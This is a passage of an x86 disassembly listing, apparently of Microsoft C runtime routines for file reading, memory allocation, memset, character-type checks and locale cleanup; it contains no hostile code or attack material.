; ---------------------------------------------------------------------------


loc_41A8EA:				; CODE XREF: sub_41A7BC+64j
		push	edi
		lea	ecx, [ebp+var_1C]
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	ds:dword_41F038
		test	eax, eax
		jz	short loc_41A90C
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_8], edi
		mov	[ebp+var_14], eax
		jmp	short loc_41A8BE
; ---------------------------------------------------------------------------


loc_41A90C:				; CODE XREF: sub_41A7BC+143j
		call	ds:dword_41F008
		mov	[ebp+var_8], eax
		jmp	short loc_41A8BE
; ---------------------------------------------------------------------------


loc_41A917:				; CODE XREF: sub_41A7BC+118j
		push	[ebp+var_8]
		call	sub_417C82
		pop	ecx


loc_41A920:				; CODE XREF: sub_41A7BC+12Cj
					; sub_41A7BC+190j
		or	eax, 0FFFFFFFFh
		jmp	short loc_41A951
; ---------------------------------------------------------------------------


loc_41A925:				; CODE XREF: sub_41A7BC+76j
					; sub_41A7BC+110j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_41A93A
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jnz	short loc_41A93A
		xor	eax, eax
		jmp	short loc_41A951
; ---------------------------------------------------------------------------


loc_41A93A:				; CODE XREF: sub_41A7BC+170j
					; sub_41A7BC+178j
		call	sub_417C70
		mov	dword ptr [eax], 1Ch
		call	sub_417C79
		mov	[eax], edi
		jmp	short loc_41A920
; ---------------------------------------------------------------------------


loc_41A94E:				; CODE XREF: sub_41A7BC+107j
		sub	eax, [ebp+var_18]


loc_41A951:				; CODE XREF: sub_41A7BC+167j
					; sub_41A7BC+17Cj
		pop	esi
		pop	ebx


loc_41A953:				; CODE XREF: sub_41A7BC+24j
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		pop	edi
		call	sub_4182D6
		leave
		retn
sub_41A7BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A961	proc near		; CODE XREF: sub_414AFC+98p
					; sub_414AFC+EBp ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 0041A9F0 SIZE 0000001C BYTES

		push	0Ch
		push	offset stru_4283E8
		call	__SEH_prolog
		mov	ebx, [ebp+arg_0]
		cmp	ebx, dword_47A2C8
		jnb	short loc_41A9F0
		mov	eax, ebx
		sar	eax, 5
		lea	edi, ds:47A2E0h[eax*4]
		mov	eax, ebx
		and	eax, 1Fh
		lea	esi, [eax+eax*8]
		shl	esi, 2
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41A9F0
		push	ebx
		call	sub_41B7AC
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41A9C0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	ebx
		call	sub_41A7BC
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		jmp	short loc_41A9D7
; ---------------------------------------------------------------------------


loc_41A9C0:				; CODE XREF: sub_41A961+49j
		call	sub_417C70
		mov	dword ptr [eax], 9
		call	sub_417C79
		and	dword ptr [eax], 0
		or	[ebp+var_1C], 0FFFFFFFFh


loc_41A9D7:				; CODE XREF: sub_41A961+5Dj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41A9E8
		mov	eax, [ebp+var_1C]
		jmp	short loc_41AA06
sub_41A961	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A9E5	proc near		; DATA XREF: .rdata:stru_4283E8o
		mov	ebx, [ebp+8]
sub_41A9E5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41A9E8	proc near		; CODE XREF: sub_41A961+7Ap
		push	ebx
		call	sub_41B81F
		pop	ecx
		retn
sub_41A9E8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41A961


loc_41A9F0:				; CODE XREF: sub_41A961+15j
					; sub_41A961+35j
		call	sub_417C70
		mov	dword ptr [eax], 9
		call	sub_417C79
		and	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh


loc_41AA06:				; CODE XREF: sub_41A961+82j
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_41A961

; =============== S U B	R O U T	I N E =======================================



sub_41AA0C	proc near		; CODE XREF: sub_414AFC+6Fp
					; sub_417455+34p ...

arg_0		= dword	ptr  4

		inc	dword_479EB8
		push	1000h
		call	sub_41344D
		test	eax, eax
		pop	ecx
		mov	ecx, [esp+arg_0]
		mov	[ecx+8], eax
		jz	short loc_41AA35
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_41AA46
; ---------------------------------------------------------------------------


loc_41AA35:				; CODE XREF: sub_41AA0C+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_41AA46:				; CODE XREF: sub_41AA0C+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_41AA0C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AA50	proc near		; CODE XREF: sub_414AFC+64p
					; sub_418FBC+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_47A2C8
		jb	short loc_41AA5F
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41AA5F:				; CODE XREF: sub_41AA50+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_47A2E0[ecx*4]
		lea	eax, [eax+eax*8]
		movsx	eax, byte ptr [ecx+eax*4+4]
		and	eax, 40h
		retn
sub_41AA50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA7A	proc near		; CODE XREF: sub_41AADA+1Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= word ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	ecx, esi
		jnz	short loc_41AA8B
		xor	eax, eax
		jmp	short loc_41AAD7
; ---------------------------------------------------------------------------


loc_41AA8B:				; CODE XREF: sub_41AA7A+Bj
		mov	eax, [ebp+arg_0]
		cmp	[eax+14h], esi
		jnz	short loc_41AAA4
		mov	ax, [ebp+arg_8]
		cmp	ax, 0FFh
		ja	short loc_41AAC9
		mov	[ecx], al
		xor	eax, eax
		inc	eax
		jmp	short loc_41AAD7
; ---------------------------------------------------------------------------


loc_41AAA4:				; CODE XREF: sub_41AA7A+17j
		lea	edx, [ebp+arg_4]
		push	edx
		push	esi
		push	dword ptr [eax+28h]
		mov	[ebp+arg_4], esi
		push	ecx
		push	1
		lea	ecx, [ebp+arg_8]
		push	ecx
		push	esi
		push	dword ptr [eax+4]
		call	ds:dword_41F0AC
		cmp	eax, esi
		jz	short loc_41AAC9
		cmp	[ebp+arg_4], esi
		jz	short loc_41AAD7


loc_41AAC9:				; CODE XREF: sub_41AA7A+21j
					; sub_41AA7A+48j
		call	sub_417C70
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh


loc_41AAD7:				; CODE XREF: sub_41AA7A+Fj
					; sub_41AA7A+28j ...
		pop	esi
		pop	ebp
		retn
sub_41AA7A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AADA	proc near		; CODE XREF: sub_414CA3+317p
					; sub_414CA3+6F7p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		call	sub_415456
		mov	eax, [eax+64h]
		cmp	eax, off_42C7BC
		jz	short loc_41AAEF
		call	sub_41628E


loc_41AAEF:				; CODE XREF: sub_41AADA+Ej
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	eax
		call	sub_41AA7A
		add	esp, 0Ch
		retn
sub_41AADA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AB01	proc near		; CODE XREF: sub_415456+23p
					; sub_4154C7+29p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0041ABB4 SIZE 00000008 BYTES

		push	10h
		push	offset stru_4283F8
		call	__SEH_prolog
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		mov	[ebp+var_1C], esi
		test	esi, esi
		jnz	short loc_41AB1C
		inc	esi


loc_41AB1C:				; CODE XREF: sub_41AB01+18j
					; sub_41AB01+9Fj
		xor	edi, edi
		mov	[ebp+var_20], edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41AB8B
		cmp	dword_47A640, 3
		jnz	short loc_41AB76
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		mov	[ebp+arg_4], esi
		mov	ebx, [ebp+var_1C]
		cmp	ebx, dword_47A62C
		ja	short loc_41AB76
		push	4
		call	sub_416901
		pop	ecx
		and	[ebp+ms_exc.disabled], edi
		push	ebx
		call	sub_417159
		pop	ecx
		mov	[ebp+var_20], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41ABAB
		mov	edi, [ebp+var_20]
		test	edi, edi
		jz	short loc_41AB7A
		push	[ebp+var_1C]
		push	0
		push	edi
		call	sub_41ADD0
		add	esp, 0Ch


loc_41AB76:				; CODE XREF: sub_41AB01+2Cj
					; sub_41AB01+40j
		test	edi, edi
		jnz	short loc_41ABB4


loc_41AB7A:				; CODE XREF: sub_41AB01+65j
		push	esi
		push	8
		push	dword_47A63C
		call	ds:dword_41F13C
		mov	edi, eax


loc_41AB8B:				; CODE XREF: sub_41AB01+23j
		test	edi, edi
		jnz	short loc_41ABB4
		cmp	dword_47A014, edi
		jz	short loc_41ABB4
		push	esi
		call	sub_417AED
		pop	ecx
		test	eax, eax
		jnz	loc_41AB1C
		jmp	short loc_41ABB6
sub_41AB01	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ABA8	proc near		; DATA XREF: .rdata:stru_4283F8o
		mov	esi, [ebp+0Ch]
sub_41ABA8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41ABAB	proc near		; CODE XREF: sub_41AB01+5Bp
		push	4
		call	sub_41686D
		pop	ecx
		retn
sub_41ABAB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41AB01


loc_41ABB4:				; CODE XREF: sub_41AB01+77j
					; sub_41AB01+8Cj ...
		mov	eax, edi


loc_41ABB6:				; CODE XREF: sub_41AB01+A5j
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_41AB01

; =============== S U B	R O U T	I N E =======================================



sub_41ABBC	proc near		; CODE XREF: sub_41554C+CFp
					; sub_41554C+301p ...

arg_0		= dword	ptr  4

		call	sub_415456
		mov	eax, [eax+64h]
		cmp	eax, off_42C7BC
		jz	short loc_41ABD1
		call	sub_41628E


loc_41ABD1:				; CODE XREF: sub_41ABBC+Ej
		cmp	dword ptr [eax+28h], 1
		jle	short loc_41ABE7
		push	4
		push	[esp+4+arg_0]
		push	eax
		call	sub_41608B
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_41ABE7:				; CODE XREF: sub_41ABBC+19j
		mov	eax, [eax+48h]
		mov	ecx, [esp+arg_0]
		movzx	eax, byte ptr [eax+ecx*2]
		and	eax, 4
		retn
sub_41ABBC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ABF6	proc near		; CODE XREF: sub_41554C+840p
					; sub_41554C+922p

arg_0		= dword	ptr  4

		call	sub_415456
		mov	eax, [eax+64h]
		cmp	eax, off_42C7BC
		jz	short loc_41AC0B
		call	sub_41628E


loc_41AC0B:				; CODE XREF: sub_41ABF6+Ej
		cmp	dword ptr [eax+28h], 1
		jle	short loc_41AC24
		push	80h
		push	[esp+4+arg_0]
		push	eax
		call	sub_41608B
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_41AC24:				; CODE XREF: sub_41ABF6+19j
		mov	eax, [eax+48h]
		mov	ecx, [esp+arg_0]
		movzx	eax, byte ptr [eax+ecx*2]
		and	eax, 80h
		retn
sub_41ABF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AC35	proc near		; CODE XREF: sub_41554C+3Fp
					; sub_41554C+5Ap ...

arg_0		= dword	ptr  4

		call	sub_415456
		mov	eax, [eax+64h]
		cmp	eax, off_42C7BC
		jz	short loc_41AC4A
		call	sub_41628E


loc_41AC4A:				; CODE XREF: sub_41AC35+Ej
		cmp	dword ptr [eax+28h], 1
		jle	short loc_41AC60
		push	8
		push	[esp+4+arg_0]
		push	eax
		call	sub_41608B
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_41AC60:				; CODE XREF: sub_41AC35+19j
		mov	eax, [eax+48h]
		mov	ecx, [esp+arg_0]
		movzx	eax, byte ptr [eax+ecx*2]
		and	eax, 8
		retn
sub_41AC35	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AC6F	proc near		; CODE XREF: sub_41554C+6Dp
					; sub_41554C+3DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_41ACBB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_41AC8D
		test	al, al
		jns	short loc_41ACBB
		test	al, 2
		jnz	short loc_41ACBB


loc_41AC8D:				; CODE XREF: sub_41AC6F+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_41AC9A
		push	esi
		call	sub_41AA0C
		pop	ecx


loc_41AC9A:				; CODE XREF: sub_41AC6F+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_41ACAA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_41ACBB
		inc	eax
		mov	[esi], eax


loc_41ACAA:				; CODE XREF: sub_41AC6F+30j
		dec	dword ptr [esi]
		test	byte ptr [esi+0Ch], 40h
		mov	eax, [esi]
		jz	short loc_41ACC1
		cmp	[eax], bl
		jz	short loc_41ACC3
		inc	eax
		mov	[esi], eax


loc_41ACBB:				; CODE XREF: sub_41AC6F+9j
					; sub_41AC6F+18j ...
		or	eax, 0FFFFFFFFh


loc_41ACBE:				; CODE XREF: sub_41AC6F+6Aj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41ACC1:				; CODE XREF: sub_41AC6F+43j
		mov	[eax], bl


loc_41ACC3:				; CODE XREF: sub_41AC6F+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	eax, 0FFFFFFEFh
		or	eax, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_41ACBE
sub_41AC6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ACDB	proc near		; CODE XREF: sub_41AD9B+22p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		xor	ebx, ebx
		cmp	edi, ebx
		jz	short loc_41ACFF
		cmp	[ebp+arg_C], ebx
		jz	short loc_41ACFF
		mov	al, [edi]
		cmp	al, bl
		jnz	short loc_41AD06
		mov	eax, [ebp+arg_4]
		cmp	eax, ebx
		jz	short loc_41ACFF
		mov	[eax], bx


loc_41ACFF:				; CODE XREF: sub_41ACDB+Dj
					; sub_41ACDB+12j ...
		xor	eax, eax


loc_41AD01:				; CODE XREF: sub_41ACDB+44j
					; sub_41ACDB+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41AD06:				; CODE XREF: sub_41ACDB+18j
		mov	esi, [ebp+arg_0]
		cmp	[esi+14h], ebx
		jnz	short loc_41AD21
		mov	ecx, [ebp+arg_4]
		cmp	ecx, ebx
		jz	short loc_41AD1C
		movzx	ax, al
		mov	[ecx], ax


loc_41AD1C:				; CODE XREF: sub_41ACDB+38j
					; sub_41ACDB+ABj
		xor	eax, eax
		inc	eax
		jmp	short loc_41AD01
; ---------------------------------------------------------------------------


loc_41AD21:				; CODE XREF: sub_41ACDB+31j
		mov	ecx, [esi+48h]
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41AD6A
		mov	eax, [esi+28h]
		cmp	eax, 1
		jle	short loc_41AD58
		cmp	[ebp+arg_C], eax
		jl	short loc_41AD58
		xor	ecx, ecx
		cmp	[ebp+arg_4], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_4]
		push	eax
		push	edi
		push	9
		push	dword ptr [esi+4]
		call	ds:dword_41F0A8
		test	eax, eax
		jnz	short loc_41AD65


loc_41AD58:				; CODE XREF: sub_41ACDB+59j
					; sub_41ACDB+5Ej
		mov	eax, [ebp+arg_C]
		cmp	eax, [esi+28h]
		jb	short loc_41AD88
		cmp	[edi+1], bl
		jz	short loc_41AD88


loc_41AD65:				; CODE XREF: sub_41ACDB+7Bj
		mov	eax, [esi+28h]
		jmp	short loc_41AD01
; ---------------------------------------------------------------------------


loc_41AD6A:				; CODE XREF: sub_41ACDB+51j
		xor	eax, eax
		cmp	[ebp+arg_4], ebx
		setnz	al
		push	eax
		push	[ebp+arg_4]
		push	1
		push	edi
		push	9
		push	dword ptr [esi+4]
		call	ds:dword_41F0A8
		test	eax, eax
		jnz	short loc_41AD1C


loc_41AD88:				; CODE XREF: sub_41ACDB+83j
					; sub_41ACDB+88j
		call	sub_417C70
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	loc_41AD01
sub_41ACDB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AD9B	proc near		; CODE XREF: sub_41554C+68Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_415456
		mov	eax, [eax+64h]
		cmp	eax, off_42C7BC
		jz	short loc_41ADB0
		call	sub_41628E


loc_41ADB0:				; CODE XREF: sub_41AD9B+Ej
		push	[esp+arg_8]
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		push	eax
		call	sub_41ACDB
		add	esp, 10h
		retn
sub_41AD9B	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41ADD0	proc near		; CODE XREF: sub_41554C+512p
					; sub_418035+8Cp ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41AE2B
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41AE1B
		neg	ecx
		and	ecx, 3
		jz	short loc_41ADFD
		sub	edx, ecx


loc_41ADF3:				; CODE XREF: sub_41ADD0+2Bj
		mov	[edi], al
		add	edi, 1
		sub	ecx, 1
		jnz	short loc_41ADF3


loc_41ADFD:				; CODE XREF: sub_41ADD0+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41AE1B
		rep stosd
		test	edx, edx
		jz	short loc_41AE25


loc_41AE1B:				; CODE XREF: sub_41ADD0+18j
					; sub_41ADD0+43j ...
		mov	[edi], al
		add	edi, 1
		sub	edx, 1
		jnz	short loc_41AE1B


loc_41AE25:				; CODE XREF: sub_41ADD0+49j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41AE2B:				; CODE XREF: sub_41ADD0+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41ADD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AE30	proc near		; CODE XREF: sub_41554C+4DCp
					; sub_4182E4+FDp ...

var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_8		= byte ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		push	ebx
		push	esi
		push	edi
		push	4
		pop	eax
		call	sub_412DD0
		mov	ebx, esp
		push	1Ch
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		call	ds:dword_41F1B8
		test	eax, eax
		jz	short loc_41AEC5
		mov	edi, [ebp+var_20]
		lea	eax, [ebp+var_48]
		push	eax
		call	ds:dword_41F1B4
		mov	eax, [ebp+var_44]
		lea	esi, [eax-1]
		not	esi
		and	esi, ebx
		sub	esi, eax
		mov	[ebp+var_4], eax
		mov	eax, dword_479E5C
		mov	ecx, eax
		dec	ecx
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 0FFFF1000h
		add	ecx, 11000h
		add	ecx, edi
		cmp	esi, ecx
		jb	short loc_41AEC5
		cmp	eax, 1
		jz	short loc_41AEDD
		mov	ebx, edi
		mov	edi, 1000h


loc_41AE9A:				; CODE XREF: sub_41AE30+81j
		push	1Ch
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		call	ds:dword_41F1B8
		test	eax, eax
		jz	short loc_41AEC5
		add	ebx, [ebp+var_18]
		test	[ebp+var_14], edi
		jz	short loc_41AE9A
		test	[ebp+var_F], 1
		mov	ebx, [ebp+var_24]
		jz	short loc_41AEC1
		xor	eax, eax
		inc	eax
		jmp	short loc_41AEF9
; ---------------------------------------------------------------------------


loc_41AEC1:				; CODE XREF: sub_41AE30+8Aj
		cmp	esi, ebx
		jnb	short loc_41AEC9


loc_41AEC5:				; CODE XREF: sub_41AE30+22j
					; sub_41AE30+5Cj ...
		xor	eax, eax
		jmp	short loc_41AEF9
; ---------------------------------------------------------------------------


loc_41AEC9:				; CODE XREF: sub_41AE30+93j
		push	4
		push	edi
		push	[ebp+var_4]
		push	ebx
		call	ds:dword_41F174
		mov	eax, dword_479E5C
		jmp	short loc_41AEDF
; ---------------------------------------------------------------------------


loc_41AEDD:				; CODE XREF: sub_41AE30+61j
		mov	ebx, esi


loc_41AEDF:				; CODE XREF: sub_41AE30+ABj
		dec	eax
		neg	eax
		sbb	eax, eax
		and	eax, 103h
		lea	ecx, [ebp+var_8]
		push	ecx
		inc	eax
		push	eax
		push	[ebp+var_4]
		push	ebx
		call	ds:dword_41F1B0


loc_41AEF9:				; CODE XREF: sub_41AE30+8Fj
					; sub_41AE30+97j
		lea	esp, [ebp-54h]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AE30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AF01	proc near		; CODE XREF: sub_41608B+60p
					; sub_4190C6+A4p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	1Ch
		push	offset stru_428408
		call	__SEH_prolog
		xor	esi, esi
		cmp	dword_47A13C, esi
		jnz	short loc_41AF4C
		lea	eax, [ebp+var_1C]
		push	eax
		xor	edi, edi
		inc	edi
		push	edi
		push	offset dword_427ECC
		push	edi
		call	ds:dword_41F1C0
		test	eax, eax
		jz	short loc_41AF37
		mov	dword_47A13C, edi
		jmp	short loc_41AF4C
; ---------------------------------------------------------------------------


loc_41AF37:				; CODE XREF: sub_41AF01+2Cj
		call	ds:dword_41F008
		cmp	eax, 78h
		jnz	short loc_41AF4C
		mov	dword_47A13C, 2


loc_41AF4C:				; CODE XREF: sub_41AF01+14j
					; sub_41AF01+34j ...
		mov	eax, dword_47A13C
		cmp	eax, 2
		jz	loc_41B044
		cmp	eax, esi
		jz	loc_41B044
		cmp	eax, 1
		jnz	loc_41B06A
		mov	[ebp+var_20], esi
		mov	[ebp+var_24], esi
		cmp	[ebp+arg_10], esi
		jnz	short loc_41AF7E
		mov	eax, dword_47A188
		mov	[ebp+arg_10], eax


loc_41AF7E:				; CODE XREF: sub_41AF01+73j
		push	esi
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		xor	eax, eax
		cmp	[ebp+arg_18], esi
		setnz	al
		lea	eax, ds:1[eax*8]
		push	eax
		push	[ebp+arg_10]
		call	ds:dword_41F0A8
		mov	edi, eax
		mov	[ebp+var_28], edi
		test	edi, edi
		jz	loc_41B06A
		and	[ebp+ms_exc.disabled], 0
		lea	ebx, [edi+edi]
		mov	eax, ebx
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_412DD0
		mov	[ebp+ms_exc.old_esp], esp
		mov	esi, esp
		mov	[ebp+var_2C], esi
		push	ebx
		push	0
		push	esi
		call	sub_41ADD0
		add	esp, 0Ch
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_41AFEF
; ---------------------------------------------------------------------------


loc_41AFDA:				; DATA XREF: .rdata:stru_428408o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_41AFDE:				; DATA XREF: .rdata:stru_428408o
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_41AE30
		xor	esi, esi
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	edi, [ebp+var_28]


loc_41AFEF:				; CODE XREF: sub_41AF01+D7j
		test	esi, esi
		jnz	short loc_41B00A
		push	edi
		push	2
		call	sub_41AB01
		pop	ecx
		pop	ecx
		mov	esi, eax
		test	esi, esi
		jz	short loc_41B06A
		mov	[ebp+var_24], 1


loc_41B00A:				; CODE XREF: sub_41AF01+F0j
		push	edi
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	ds:dword_41F0A8
		test	eax, eax
		jz	short loc_41B032
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	ds:dword_41F1C0
		mov	[ebp+var_20], eax


loc_41B032:				; CODE XREF: sub_41AF01+11Ej
		cmp	[ebp+var_24], 0
		jz	short loc_41B03F
		push	esi
		call	sub_412FE4
		pop	ecx


loc_41B03F:				; CODE XREF: sub_41AF01+135j
		mov	eax, [ebp+var_20]
		jmp	short loc_41B0B2
; ---------------------------------------------------------------------------


loc_41B044:				; CODE XREF: sub_41AF01+53j
					; sub_41AF01+5Bj
		mov	ebx, [ebp+arg_14]
		cmp	ebx, esi
		jnz	short loc_41B051
		mov	ebx, dword_47A178


loc_41B051:				; CODE XREF: sub_41AF01+148j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jnz	short loc_41B05E
		mov	edi, dword_47A188


loc_41B05E:				; CODE XREF: sub_41AF01+155j
		push	ebx
		call	sub_41CB47
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41B06E


loc_41B06A:				; CODE XREF: sub_41AF01+64j
					; sub_41AF01+A5j ...
		xor	eax, eax
		jmp	short loc_41B0B2
; ---------------------------------------------------------------------------


loc_41B06E:				; CODE XREF: sub_41AF01+167j
		cmp	eax, edi
		jz	short loc_41B090
		push	0
		push	0
		lea	ecx, [ebp+arg_8]
		push	ecx
		push	[ebp+arg_4]
		push	eax
		push	edi
		call	sub_41CB90
		add	esp, 18h
		mov	esi, eax
		test	esi, esi
		jz	short loc_41B06A
		mov	[ebp+arg_4], esi


loc_41B090:				; CODE XREF: sub_41AF01+16Fj
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	ebx
		call	ds:dword_41F1BC
		mov	edi, eax
		test	esi, esi
		jz	short loc_41B0B0
		push	esi
		call	sub_412FE4
		pop	ecx


loc_41B0B0:				; CODE XREF: sub_41AF01+1A6j
		mov	eax, edi


loc_41B0B2:				; CODE XREF: sub_41AF01+141j
					; sub_41AF01+16Bj
		lea	esp, [ebp-38h]
		call	__SEH_epilog
		retn
sub_41AF01	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B0BB	proc near		; CODE XREF: sub_416102+B1p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	loc_41B249
		push	dword ptr [esi+4]
		call	sub_412FE4
		push	dword ptr [esi+8]
		call	sub_412FE4
		push	dword ptr [esi+0Ch]
		call	sub_412FE4
		push	dword ptr [esi+10h]
		call	sub_412FE4
		push	dword ptr [esi+14h]
		call	sub_412FE4
		push	dword ptr [esi+18h]
		call	sub_412FE4
		push	dword ptr [esi]
		call	sub_412FE4
		push	dword ptr [esi+20h]
		call	sub_412FE4
		push	dword ptr [esi+24h]
		call	sub_412FE4
		push	dword ptr [esi+28h]
		call	sub_412FE4
		push	dword ptr [esi+2Ch]
		call	sub_412FE4
		push	dword ptr [esi+30h]
		call	sub_412FE4
		push	dword ptr [esi+34h]
		call	sub_412FE4
		push	dword ptr [esi+1Ch]
		call	sub_412FE4
		push	dword ptr [esi+38h]
		call	sub_412FE4
		push	dword ptr [esi+3Ch]
		call	sub_412FE4
		add	esp, 40h
		push	dword ptr [esi+40h]
		call	sub_412FE4
